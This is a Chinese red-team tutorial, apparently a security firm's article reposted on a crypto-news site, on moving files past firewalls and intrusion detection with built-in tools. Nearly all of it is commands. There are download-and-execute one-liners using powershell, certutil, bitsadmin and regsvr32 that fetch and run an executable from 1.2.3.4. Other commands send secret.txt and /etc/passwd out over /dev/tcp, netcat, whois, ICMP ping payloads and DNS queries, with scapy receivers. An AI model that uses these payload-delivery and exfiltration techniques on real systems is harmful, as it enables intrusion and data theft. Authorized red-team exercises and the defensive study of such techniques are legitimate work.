请选择 进入手机版 | 继续访问电脑版
开启辅助访问
链路首页链路财经目前收录 币种 : 4908 交易所 : 310钱包 : 17 24H 交易量 : $43,403,137,051 总市值 : $245,388,183,835
2019
03/15
12:36
分享
评论
  • 在国防领域,国家常常会通过演习来全面了解国家的防御实力。而信息安全领域的演习——红蓝对抗——同样旨在通过攻击与防御的不断博弈,协助企业管理者了解到企业安全防御的长处与短板。



    在进行红蓝对抗演练时,蓝军常常需要最大化利用当前的环境绕过重兵防守的系统的防火墙、IDS、IPS等报警和监控系统进行文件传输。关键时刻,如何绕过这些防护进行文件传输,就成了蓝军攻击检测中的重要一步。

     

    道高一尺,魔高一丈。今天就来摆一下利用操作系统默认自带工具进行文件传输的正确姿势。


    一、搭建HTTP Server


    ● Python


    python2:

    python -m SimpleHTTPServer 1337


    以上命令会在当前目录启动 HTTP 服务,端口为 1337


    python3:

    python -m http.server 1337


    以上命令会在当前目录启动 HTTP 服务,端口为 1337


    ●  PHP 5.4+


    当 PHP 版本大于 5.4 是,可使用 PHP 在当前目录启动 HTTP 服务,端口为 1337


    php -S 0.0.0.0:1337


    ●  Ruby


    下面的命令会在当前目录下启动 HTTP 服务,端口为 1337


    ruby -rwebrick -e'WEBrick::HTTPServer.new(ort => 1337, ocumentRoot => Dir.pwd).start'


    ●  Ruby 1.9.2+


    ruby -run -e httpd . -p 1337


    ● Perl


    perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'

    perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'


    ●  busybox httpd


    busybox httpd -f -p 8000


    二、从 HTTP Server 下载文件


    以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法


    ●  Windows


    powershell

    下载并执行:


    powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'


    certutil


    下载并执行:


    certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe


    bitsadmin


    下载并执行:


    bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe


    bitsadmin 的下载速度比较慢


    regsvr32


    regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll


    ●  Linux


    Curl

    curl http://1.2.3.4/backdoor

    Wget

    wget http://1.2.3.4/backdoor

    awk


    在使用 awk 进行下载文件时,首先使用以上列出的任意一条命令启动一个 HTTP Server


    awk 'BEGIN {

      RS = ORS = "\r\n"

      HTTPCon = "/inet/tcp/0/127.0.0.1/1337"

      print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPCon

      while (HTTPCon |& getline > 0)

          print $0

      close(HTTPCon)

    }'


    效果:



    三、Setup HTTP PUT Server


    以下列出了上传文件到 HTTP Server 的几种方法


    ●  使用 Nginx 搭建 HTTP PUT Server


    mkdir -p /var/www/upload/ # 创建目录


    chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组


    cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录


    # 写入配置到 file_upload 文件

    cat < file_upload

    server {

        listen 8001 default_server;

        server_name kali;

            location / {

            root /var/www/upload;

            dav_methods PUT;

        }

    }

    EOF

    # 写入完毕


    cd ../sites-enable # 进入 nginx 虚拟主机启动目录


    ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机


    systemctl start nginx # 启动 Nginx


    ●  使用 Python 搭建 HTTP PUT Server


    以下代码保存到 HTTPutServer.py 文件里:


    https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server

    import sys

    import signal

    from threading import Thread

    from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

     

    class PUTHandler(BaseHTTPRequestHandler):

        def do_PUT(self):

            length = int(self.headers['Content-Length'])

            content = self.rfile.read(length)

            self.send_response(200)

            with open(self.path[1:], "w") as f:

                f.write(content)

     

    def run_on(port):

        print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))

        server_address = (sys.argv[1], port)

        httpd = HTTPServer(server_address, PUTHandler)

        httpd.serve_forever()

     

    if __name__ == "__main__":

        if len(sys.argv) < 3:

            print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))

            sys.exit(1)

        ports = [int(arg) for arg in sys.argv[2:]]

        try:

            for port_number in ports:

                server = Thread(target=run_on, args=[port_number])

                server.daemon = True # Do not make us wait for you to exit

            server.start()

            signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt

        except KeyboardInterrupt:

            print "\nPython HTTP PUT Server Stoped."

            sys.exit(1)


    运行方法:


    $ python HTTPutServer.py 10.10.10.100 1337

    Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...


    四、上传文件到 HTTP PUT server


    ●  Linux


    Curl

    $ curl --upload-file secret.txt http://ip:port/

    Wget

    $ wget --method=PUT --post-file=secret.txt http://ip:port/


    ●  Windows


    Powershell

    $body = Get-Content secret.txt

    Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body


    五、使用 Bash /dev/tcp 进行文件传输


    首先需要监听端口


    文件接收端:

    nc -lvnp 1337 > secret.txt


    文件发送端:

    cat secret.txt > /dev/tcp/ip/port



    六、使用 SMB 协议进行文件传输


    ●  搭建简易 SMB Server


    搭建简易SMB Server 需要用到 Impacket 项目的 smbserver.py 文件


    Impacket 已默认安装在 Kali Linux 系统中


    syntax: impacker-smbserver ShareName SharePath


    $ mkdir smb # 创建 smb 目录


    $ cd smb # 进入 smb目录


    $ impacket-smbserver share `pwd` # 在当前目录启动 SMB server,共享名称为 share


    效果:



    从 SMB server 下载文件


    copy \\IP\ShareName\file.exe file.exe


    上传文件到 SMB server


    net use x: \\IP\ShareName

     

    copy file.txt x:

     

    net use x: /delete


    ●  使用 whois 命令进行文件传输

    /etc/passwdHost A

     

    Host B


    接收端 Host B:

    nc -vlnp 1337 | sed "s/ //g" | base64 -d


    发送端 Host A:

    whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`


    效果:



    ●  使用 ping 命令进行文件传输


    secret.txtSender

     

    Reciver


    发送端:

    xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done


    接收端:

    以下代码保存到 ping_receiver.py


    import sys


    try:

        from scapy.all import *

    except:

        print("Scapy not found, please install scapy: pip install scapy")

        sys.exit(0)

     

    def process_packet(pkt):

        if pkt.haslayer(ICMP):

            if pkt[ICMP].type == 8:

                data = pkt[ICMP].load[-4:]

                print(f'{data.decode("utf-8")}', flush=True, end="", sep="")

     

    sniff(iface="eth0", prn=process_packet)


    执行方法:

    python3 ping_receiver.py


    效果



    ●  使用 dig 命令进行文件传输


    /etc/passwdSender

     

    Reciver


    发送端:

    xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done


    接收端:

    以下代码使用了 python 的 scapy 模块,需要手动安装

    代码保存到 dns_reciver.py 文件中


    try:

        from scapy.all import *

    except:

        print("Scapy not found, please install scapy: pip install scapy")

     

    def process_packet(pkt):

        if pkt.haslayer(DNS):

            domain = pkt[DNS][DNSQR].qname.decode('utf-8')

            root_domain = domain.split('.')[1]

            if root_domain.startswith('gooogle'):

                print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')

     

    sniff(iface="eth0", prn=process_packet)


    运行方法:

    python3 dns_reciver.py


    效果:




    七、使用 NetCat 进行文件传输


    1.txtA:10.10.10.100

     

    B:10.10.10.200


    接受端:

    nc -l -p 1337 > 1.txt


    发送端:

    cat 1.txt | nc -l -p 1337

    或者

    nc 10.10.10.200 1337 < 1.txt


    在极端环境下,如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:

    cat < /dev/tcp/10.10.10.200/1337 > 1.txt



    近年来,随着互联网快速发展,网络攻击、信息泄露等问题也日益突出。这对公共网络安全、信息安全造成严重威胁。知道创宇提出了“未知攻、焉知防”的安全理念,这同样也是对抗演习的核心思想,以攻促防,全面了解企业安全防护的优劣势,提升安全人员的安全技能和防护水平。


    扫描下方二维码,

    知道创宇红蓝对抗服务了解一下


    点击阅读原文,红蓝对抗服务了解一下

主题帖 314 关注 0 粉丝 1
情感指数

链路大数据分析置信度 20.16 %

TA的主题帖
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表